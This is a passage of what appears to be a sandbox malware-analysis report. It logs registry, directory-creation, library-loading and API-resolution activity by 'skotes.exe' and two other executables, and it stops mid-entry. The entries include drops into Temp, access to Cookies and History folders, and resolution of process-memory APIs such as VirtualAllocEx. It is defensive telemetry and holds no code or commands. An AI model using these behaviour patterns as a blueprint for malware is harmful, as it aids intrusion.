"HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "5b5767e85f.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB") "5b5767e85f.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\902EF2DEEB3C5B13EA4C3D5193629309E231AE55"; Key: "BLOB")2f:T49a,"ffa05200d7a741017eb476eef981b041.exe" called "CreateDirectoryA" with parameter %TEMP%\abc3bc1985 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00000560) "skotes.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00002756) "skotes.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Local (UID: 00000000-00002756) "skotes.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files (UID: 00000000-00002756) "skotes.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00002756) "skotes.exe" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Cookies (UID: 00000000-00002756) "skotes.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\History (UID: 00000000-00002756) "skotes.exe" called "CreateDirectoryA" with parameter %TEMP%\1085426001\ (UID: 00000000-00002756) "skotes.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00002756)30:T30a8,"ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter NTDLL.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter NTDLL (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l1-1-0.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter WININET.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter COMCTL32.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter MPR.DLL (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter Comctl32.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter DUser.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\DUser.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter dwmapi.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter UxTheme.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\xmllite.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter OLEACCRC.DLL (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter OLEACC.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter OLEAUT32.DLL (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\ole32.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter %WINDIR%\syswow64\MSCTF.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter %WINDIR%\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.23894_none_5c0be957a009922e\gdiplus.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\shdocvw.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l2-1-0.dll (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00000560) "skotes.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\IMM32.DLL (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter NTDLL.dll (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter NTDLL (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l1-1-0.dll (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter WININET.dll (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l2-1-0.dll (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter DNSAPI.dll (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter dhcpcsvc.DLL (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter Comctl32.dll (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\ws2_32 (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter api-ms-win-core-sysinfo-l1-2-1 (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\shdocvw.dll (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00002756) "skotes.exe" called "LoadLibrary" with a parameter API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL (UID: 00000000-00002756) "5b5767e85f.exe" called "LoadLibrary" with a parameter NTDLL.dll (UID: 00000000-00000516) "5b5767e85f.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00000516) "5b5767e85f.exe" called "LoadLibrary" with a parameter NTDLL (UID: 00000000-00000516) "5b5767e85f.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00000516) "5b5767e85f.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00000516) "5b5767e85f.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00000516) "5b5767e85f.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00000516) "5b5767e85f.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00000516) "5b5767e85f.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00000516) "5b5767e85f.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00000516) "5b5767e85f.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00000516) "5b5767e85f.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00000516) "5b5767e85f.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00000516) "5b5767e85f.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00000516) "5b5767e85f.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00000516) "5b5767e85f.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00000516) "5b5767e85f.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00000516) "5b5767e85f.exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00000516) "5b5767e85f.exe" called "LoadLibrary" with a parameter DNSAPI.dll (UID: 00000000-00000516) "5b5767e85f.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00000516) "5b5767e85f.exe" called "LoadLibrary" with a parameter ncrypt.dll (UID: 00000000-00000516) "5b5767e85f.exe" called "LoadLibrary" with a parameter %WINDIR%\SysWOW64\bcryptprimitives.dll (UID: 00000000-00000516) "5b5767e85f.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00000516) "5b5767e85f.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00000516) "5b5767e85f.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-SDDL-L1-1-0.dll (UID: 00000000-00000516) "5b5767e85f.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00000516) "5b5767e85f.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00000516)31:Te99c,"ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter timeGetTime (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter NtOpenThread (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter RtlAllocateHeap (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsW (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetUserNameExA (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter LpkEditControl (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter PathFindFileNameW (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter PathFindExtensionW (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter SHChangeNotify (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter WNetGetUniversalNameW (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter LookupAccountSidLocalW (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter FindActCtxSectionStringW (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter LoadIconWithScaleDown (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter RtlRunEncodeUnicodeString (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter RtlInitUnicodeString (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter RtlRunDecodeUnicodeString (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter RtlUnhandledExceptionFilter (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter RtlIsThreadWithinLoaderCallout (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter InitGadgets (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter RegisterMessagePumpHook (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter DwmIsCompositionEnabled (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter CreateGadget (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter SetGadgetMessageFilter (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter SetGadgetStyle (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter SetGadgetRootInfo (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter IsAppThemed (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetThemeAppProperties (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter CreateStreamOnHGlobal (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter CreateXmlReader (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter CreateXmlReaderInputWithEncodingName (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter OpenThemeData (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetThemeFont (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetThemeColor (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetThemeMetric (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetThemeMargins (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter SetGadgetParent (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetRoleTextW (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetGUIThreadInfo (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetAccCursorInfo (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetCursorInfo (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetWindowInfo (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetTitleBarInfo (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetScrollBarInfo (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetComboBoxInfo (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetAncestor (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter RealChildWindowFromPoint (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter RealGetWindowClassW (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetAltTabInfoW (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetListBoxInfo (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetMenuBarInfo (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter SendInput (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter BlockInput (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter LogicalToPhysicalPoint (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter PhysicalToLogicalPoint (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter WindowFromPhysicalPoint (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetPhysicalCursorPos (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter VirtualAllocEx (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter VirtualFreeEx (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter NtQueryInformationProcess (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter NtAllocateVirtualMemory (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter NtFreeVirtualMemory (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter GetGadgetTicket (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter AttachWndProcW (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called "GetProcAddress" with a parameter IsProcessorFeaturePresent (UID: 00000000-00000560) "ffa05200d7a741017eb476eef981b041.exe" called 